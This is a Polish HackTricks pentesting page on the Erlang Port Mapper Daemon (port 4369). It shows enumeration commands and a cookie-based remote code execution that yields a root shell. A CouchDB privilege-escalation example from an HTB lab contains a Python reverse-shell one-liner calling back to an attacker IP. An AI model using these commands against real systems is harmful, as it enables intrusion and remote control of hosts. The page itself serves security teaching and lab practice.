tip

Ucz się i ćwicz AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Wsparcie HackTricks

Podstawowe informacje

Erlang Port Mapper Daemon (epmd) działa jako koordynator dla rozproszonych instancji Erlanga. Odpowiada za mapowanie symbolicznych nazw węzłów na adresy maszyn, zapewniając, że każda nazwa węzła jest powiązana z określonym adresem. Ta rola epmd jest kluczowa dla płynnej interakcji i komunikacji między różnymi węzłami Erlanga w sieci.

Domyślny port: 4369

PORT     STATE SERVICE VERSION
4369/tcp open  epmd    Erlang Port Mapper Daemon

To jest używane domyślnie w instalacjach RabbitMQ i CouchDB.

Enumeracja

Ręczna

bash
echo -n -e "\x00\x01\x6e" | nc -vn <IP> 4369

#Via Erlang, Download package from here: https://www.erlang-solutions.com/resources/download.html
dpkg -i esl-erlang_23.0-1~ubuntu~xenial_amd64.deb
apt-get install erlang
erl #Once Erlang is installed this will promp an erlang terminal
1> net_adm:names('<HOST>'). #This will return the listen addresses

Automatyczny

bash
nmap -sV -Pn -n -T4 -p 4369 --script epmd-info <IP>

PORT     STATE SERVICE VERSION
4369/tcp open  epmd    Erlang Port Mapper Daemon
| epmd-info:
|   epmd_port: 4369
|   nodes:
|     bigcouch: 11502
|     freeswitch: 8031
|     ecallmgr: 11501
|     kazoo_apps: 11500
|_    kazoo-rabbitmq: 25672

Erlang Cookie RCE

Remote Connection

Jeśli możesz wyciekować ciasteczko uwierzytelniające, będziesz w stanie wykonać kod na hoście. Zazwyczaj to ciasteczko znajduje się w ~/.erlang.cookie i jest generowane przez Erlang przy pierwszym uruchomieniu. Jeśli nie jest modyfikowane ani ustawiane ręcznie, jest to losowy ciąg [A:Z] o długości 20 znaków.

bash
greif@baldr ~$ erl -cookie YOURLEAKEDCOOKIE -name test2 -remsh test@target.fqdn
Erlang/OTP 19 [erts-8.1] [source] [64-bit] [async-threads:10]

Eshell V8.1 (abort with ^G)

At last, we can start an erlang shell on the remote system.

(test@target.fqdn)1>os:cmd("id").
"uid=0(root) gid=0(root) groups=0(root)\n"

Więcej informacji w https://insinuator.net/2017/10/erlang-distribution-rce-and-a-cookie-bruteforcer/
Autor dzieli się również programem do bruteforce'a ciasteczka:

Połączenie lokalne

W tym przypadku zamierzamy wykorzystać CouchDB do eskalacji uprawnień lokalnie:

bash
HOME=/ erl -sname anonymous -setcookie YOURLEAKEDCOOKIE
(anonymous@canape)1> rpc:call('couchdb@localhost', os, cmd, [whoami]).
"homer\n"
(anonymous@canape)4> rpc:call('couchdb@localhost', os, cmd, ["python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"10.10.14.9\", 9005));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);'"]).

Przykład wzięty z https://0xdf.gitlab.io/2018/09/15/htb-canape.html#couchdb-execution
Możesz użyć maszyny Canape HTB, aby ćwiczyć, jak wykorzystać tę lukę.

Metasploit

bash
#Metasploit can also exploit this if you know the cookie
msf5> use exploit/multi/misc/erlang_cookie_rce

Shodan

  • port:4369 "na porcie"

tip

Ucz się i ćwicz AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Wsparcie HackTricks